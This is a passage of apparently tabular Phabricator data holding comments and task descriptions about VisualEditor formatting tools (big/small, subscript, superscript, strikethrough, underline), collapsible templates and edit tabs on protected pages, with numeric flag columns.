+A large area of whitespace opens up above ""Internal issues and debates"", and the images appear there.
+
+In the VE, that whitespace is filled with text, which causes the images to be pushed further down in the content, eventually slipping into the References section, and on Firefox the images even overlaps the References section.
+
+I haven't investigated what is causing the VE vs non-VE rendering differences, but collapse is clearly the reason this rendering difference is a significant problem that all VE users face, rather than a minor glitch that only appears when the user is silly enough to alter all sidebars to be expanded.
+
+**Attached**: {F11253}",,,1380600089,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+236645,VisualEditor: Surface should respect the default state of collapseable templates,"(In reply to comment #1)
+> First of all, this requires fixes for bug 51565 to be deployed, and then we
+> need to fix the NavFrame and CollapsibleTable scripts in
+> en:wp:MediaWiki:Common.js to use the same hooks.
+
+That change has been made on enwp by TheDJ/hartman (cc'd)
+
+https://en.wikipedia.org/w/index.php?title=MediaWiki:Common.js&diff=570114240&oldid=569893356
+
+The templates are yet not collapsing; is there more development needed in VE product or in Common.js ?
+
+I think 'collapse' need more special handling in VE (possibly even in parsoid); in order to be WYSIWYG.
+1. The user can change the collapse state of templates in the VE dialog editor, and that change should be reflected in the VE after the changes are applied.
+2. The user should be able to collapse and uncollapse a collapse-able template in order 
+2.1 to visualise how the page will look in each mode
+2.2 hide/unhide collapse-able templates that are consuming precious screen real estate (this should be a separate enhancement)
+
+Perhaps this feature should be dependent on bug 30352.",,,1380598815,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+236639,VisualEditor: Surface should respect the default state of collapseable templates,"First of all, this requires fixes for bug 51565 to be deployed, and then we need to fix the NavFrame and CollapsibleTable scripts in en:wp:MediaWiki:Common.js to use the same hooks.",,,1374261760,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+53613,VisualEditor: Tool to set/unset text as big/small,,Low,25.0,1374158760,1470421262.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-tv63msunrr34jh3gj3an,task_description,resolved,True,c1,3,True,True,False,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+707145,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529488, @Danny_B wrote:
+>>>! In T53613#2529467, @Jdforrester-WMF wrote:
+>> Actually, VE will have one until it's banned in wikitext, not just ""not easily accessible"".
+> 
+> So ban it then. The request for it has been around for ages.
+
+At the bare minimum you'll need to run a three-month-long community RfC on meta with convincing arguments that explain as to why they all need to replace `<big>` with `<span style=""font-size: bigger;"">` and so on. There are, from a quick search, over 70k pages with at least one of these on the English Wikipedia alone; the transition will be quite a lot of work.
+
+It's not remotely worth it to spend that much in terms of WMF resources. If you want to try, you're welcome, but I seriously doubt you'll get sufficient consensus (and even then it'd probably need to be a configuration option so that third party wikis can address the breaking change in slower time).
+
+Not of this is germane to this ticket, however.",,,1470435796,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1
+707142,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529467, @Jdforrester-WMF wrote:
+> Actually, VE will have one until it's banned in wikitext, not just ""not easily accessible"".
+
+So ban it then. The request for it has been around for ages. Not even speaking that it has been deprecated ages ago even in XHTML we used before, and it is obsolete in HTML5.",,,1470435420,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,0,0,0,1,0,0,1
+707139,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529467, @Jdforrester-WMF wrote:
+> Actually, VE will have one until it's banned in wikitext, not just ""not easily accessible"".
+
+So ban it then. The request for it has been around for ages.",,,1470435319,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,1
+707138,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529443, @matmarex wrote:
+> ""WT"" is VisualEditor team's jargon for ""wikitext"". Wikitext editor's toolbar has buttons for this: {F4339790}
+> 
+> I'll note that there's a task to remove them: T40487. You could probably file a similar one for VisualEditor. But as long as one has them, the other should too.
+
+Thanks for explanation.
+
+So why instead of adding it to Visual Editor not removing it from WikiEditor then (which should be obviously easier)?",,,1470435100,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+707133,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2529443, @matmarex wrote:
+> ""WT"" is VisualEditor team's jargon for ""wikitext"".
+
+Correct (though we didn't invent it).
+
+> Wikitext editor's toolbar has buttons for this: {F4339790}
+> 
+> I'll note that there's a task to remove them: T40487. You could probably file a similar one for VisualEditor. But as long as one has them, the other should too.
+
+Actually, VE will have one until it's banned in wikitext, not just ""not easily accessible"".",,,1470434945,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,0,1
+707128,VisualEditor: Tool to set/unset text as big/small,"""WT"" is VisualEditor team's jargon for ""wikitext"". Wikitext editor's toolbar has buttons for this: {F4339790}
+
+I'll note that there's a task to remove them: T40487. You could probably file a similar one for VisualEditor. But as long as one has them, the other should too.",,,1470434546,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,0
+707104,VisualEditor: Tool to set/unset text as big/small,"What does WT stand for?
+
+What do you call feature-parity in this case?",,,1470432701,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+707093,VisualEditor: Tool to set/unset text as big/small,">>! In T53613#2528664, @Danny_B wrote:
+> We have headers and table captions providing semantically correct way how to emphasize headlining text. What is the use case of using big text elsewhere?
+
+Off-topic. VE and WT are designed to have feature-parity. If you think we should ban users from using these, file a task.",,,1470432011,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+707011,VisualEditor: Tool to set/unset text as big/small,We have headers and table captions providing semantically correct way how to emphasize headlining text. What is the use case of using big text elsewhere?,,,1470426148,,PHID-USER-xqqqgn2dels45flxw5kb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,True,,,161,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+706945,VisualEditor: Tool to set/unset text as big/small,"Change 141617 merged by jenkins-bot:
+Provide tools to make text bigger or smaller
+
+[[https://gerrit.wikimedia.org/r/141617]]",,,1470421624,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,False,,,161,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+699417,VisualEditor: Tool to set/unset text as big/small,"Change 141617 had a related patch set uploaded (by Jforrester):
+Provide tools to make text bigger or smaller
+
+[[https://gerrit.wikimedia.org/r/141617]]
+",,,1469233591,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,False,,,159,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+233894,VisualEditor: Tool to set/unset text as big/small,"Change 141617 had a related patch set uploaded by Jforrester:
+Provide tools to make text bigger or smaller
+
+https://gerrit.wikimedia.org/r/141617",,,1403574866,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tv63msunrr34jh3gj3an,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53612,VisualEditor: Tool to set/unset text as subscript,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374158700,1376619792.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-f6ao6kmtchv7v27bft42,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233847,VisualEditor: Tool to set/unset text as subscript,Now merged into master; will be deployed (as experimental) in the next push (so will be available on MediaWiki.org) - we will make this available to production wikis next week when we re-work the toolbar.,,,1376619792,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-f6ao6kmtchv7v27bft42,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+233840,VisualEditor: Tool to set/unset text as subscript,"Change 78495 merged by jenkins-bot:
+Create a subscript tool
+
+https://gerrit.wikimedia.org/r/78495",,,1376619387,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6ao6kmtchv7v27bft42,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233834,VisualEditor: Tool to set/unset text as subscript,"Change 78495 had a related patch set uploaded by Steven Zhang:
+Add subscript tool
+
+https://gerrit.wikimedia.org/r/78495",,,1376120249,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6ao6kmtchv7v27bft42,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233827,VisualEditor: Tool to set/unset text as subscript,"An editor at en.wp has noted that subscript is requried to be able to correctly edit some articles, ""ECG leads, e.g. V4"" was the example given.",,,1374927410,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-f6ao6kmtchv7v27bft42,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+53611,VisualEditor: Tool to set/unset text as superscript,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374158700,1376619787.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-rdzse5grzzixnnifzj2z,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233804,VisualEditor: Tool to set/unset text as superscript,Now merged into master; will be deployed (as experimental) in the next push (so will be available on MediaWiki.org) - we will make this available to production wikis next week when we re-work the toolbar.,,,1376619787,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+233800,VisualEditor: Tool to set/unset text as superscript,"Change 78490 merged by jenkins-bot:
+Create a superscript tool
+
+https://gerrit.wikimedia.org/r/78490",,,1376619344,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233793,VisualEditor: Tool to set/unset text as superscript,"Change 78490 had a related patch set uploaded by Steven Zhang:
+Add a superscript tool
+
+https://gerrit.wikimedia.org/r/78490",,,1376116614,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233788,VisualEditor: Tool to set/unset text as superscript,"As explained elsewhere, this is trivial to do but would make the toolbar (even more) unwieldy for all users, and so I de-prioritised it whilst waiting for a way to have lots of these icons available without filling everyone's screens with buttons most of them don't want to touch.
+
+We're working right now on a first draft which we think will help with the clutter, at which point making these tools is a work of minutes.",,,1375304078,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,True,,,4,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0
+233782,VisualEditor: Tool to set/unset text as superscript,"A user at en.wp has noted the lack of a tool to set superscript means that the article [[Spiral Dynamics]] cannot be completely edited in VE.
+
+The ability to set superscript and subscript are essential features for writing about many articles in the science, maths and technology fields, so it should be a core competence of the VisualEditor rather than a low-priority enhancement.",,,1375263490,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,False,,,4,,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+53610,VisualEditor: Tool to set/unset text as strikethrough,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374158700,1375865291.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ascdutdvqb4aq6opfuse,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233743,VisualEditor: Tool to set/unset text as strikethrough,Done by Peter C. at Wikimania 2013 Hacking Days. Yay.,,,1375865291,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ascdutdvqb4aq6opfuse,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233736,VisualEditor: Tool to set/unset text as strikethrough,"Change 78019 merged by jenkins-bot:
+Create strikethrough text style button
+
+https://gerrit.wikimedia.org/r/78019",,,1375865057,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ascdutdvqb4aq6opfuse,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233731,VisualEditor: Tool to set/unset text as strikethrough,"Change 78019 had a related patch set uploaded by Peter.C:
+Create strikethrough text style button
+
+https://gerrit.wikimedia.org/r/78019",,,1375863283,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ascdutdvqb4aq6opfuse,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53609,VisualEditor: Tool to set/unset text as underlined,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374158700,1376619782.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-dwpuhdlnvzi2y7re3asf,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233684,VisualEditor: Tool to set/unset text as underlined,Now merged into master; will be deployed (as experimental) in the next push (so will be available on MediaWiki.org) - we will make this available to production wikis next week when we re-work the toolbar.,,,1376619782,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dwpuhdlnvzi2y7re3asf,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+233677,VisualEditor: Tool to set/unset text as underlined,"Change 78488 merged by jenkins-bot:
+Create an underline tool
+
+https://gerrit.wikimedia.org/r/78488",,,1376619184,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dwpuhdlnvzi2y7re3asf,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233671,VisualEditor: Tool to set/unset text as underlined,"Change 78488 had a related patch set uploaded by Steven Zhang:
+Create an underline tool
+
+https://gerrit.wikimedia.org/r/78488",,,1376114307,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dwpuhdlnvzi2y7re3asf,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53549,"VisualEditor: Show two editing/view source tabs at all times, even if you can't edit page because it's protected","When viewing an article you have permission to edit, you see two tabs at the top - ""Edit"" and ""Edit source"". When viewing an article you don't have permission to edit, you see only one - ""view source"".
+
+This is not good UI design There needs to always be the same number of tabs displayed. Ideally there should be tabs to ""view source"" and ""view visual source"" (with better wording though!), see Bug 51547.
+
+If a read-only editor is not possible or not available then that tab needs to pop up a message saying that editing is restricted currently/until xx:xx for <log entry> and that they can view the wikitext source if they want (linked to an explanation what that means).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374077880,1385386552.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-qh3lrsa2vheyfhks3klm,task_description,declined,True,c1,3,False,False,False,2,,0,0,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+434334,"VisualEditor: Show two editing/view source tabs at all times, even if you can't edit page because it's protected","Comment... I think it might be useful to have the suggested ""view visual source"" tab, primarily to enable copying content such as references between protected and non-protected articles. However, I do grok the additional layers of complexity this would entail...",,,1427495377,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-qh3lrsa2vheyfhks3klm,task_subcomment,,True,c1,3,False,,,90,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
